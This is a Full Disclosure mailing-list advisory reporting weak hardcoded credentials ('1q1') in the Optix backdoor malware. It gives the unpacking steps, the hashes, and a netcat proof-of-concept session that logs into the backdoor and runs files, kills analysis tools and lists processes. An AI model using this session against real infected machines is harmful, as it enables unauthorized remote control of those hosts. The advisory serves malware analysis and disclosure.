full-disclosure - [FD] Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials

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Message-ID: <CAAHK0WSDuGkrOBHXcTucKV9Yoy+AQLh7AbC4qGdoppfHqZSB9Q@mail.gmail.com>
Date: Tue, 3 Sep 2024 21:14:58 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/706ddc06ebbdde43e4e97de4d5af3b19.txt
Contact: malvuln13@...il.com
Media: x.com/malvuln

Threat: Backdoor.Win32.Optix.02.b
Vulnerability: Weak Hardcoded Credentials
Description: Optix listens on TCP port 5151 and is packed with ASPack
(2.11d). Unpacking is trivial set breakpoints on POPAD, RET, run and
dump using OllyDumpEx. The unpacked PE file reveals a very weak three
character cleartext password "1q1" stored as "svrpwd=1q1" at offset:
0000da4c of the unpacked malware. Commands sent to the backdoor use a
semicolon ";" as a marker E.g. password;1q1;
Family: Optix
Type: PE32
MD5: 706ddc06ebbdde43e4e97de4d5af3b19
SHA256: 2d38b18bdedfa7f27aac3f52a6d717f3cef7cf809e06f4a34ac0a93c90a82b1c
Vuln ID: MVID-2024-0690
Disclosure: 09/03/2024

Exploit/PoC:
nc64.exe x.x.x.x 5151
password;1q1;
password;1;Optix Lite v0.2 Server Ready...
ExecFile;"c:\Windows\System32\calc.exe"
Response;File Ran Successfully
GetPath;
TheServerPath;c:\windows\sec32.exe
GetSysDir;
TheSysDir;
;C:\WINDOWS\system32\
GetWinDir;
TheWinDir;
;C:\WINDOWS\
KillProcPls;pestudio.exe;
Response;Program killed successfully!
KillProcPls;die.exe;
Response;Program killed successfully!
GetProcsPls;
HeresDaProcs;[System
Process];System;smss.exe;csrss.exe;wininit.exe;csrss.exe;winlogon.exe;services.exe;lsass.exe;fontdrvhost.exe;fontdrvhost.exe;svchost.exe;svchost.exe;dwm.exe;...

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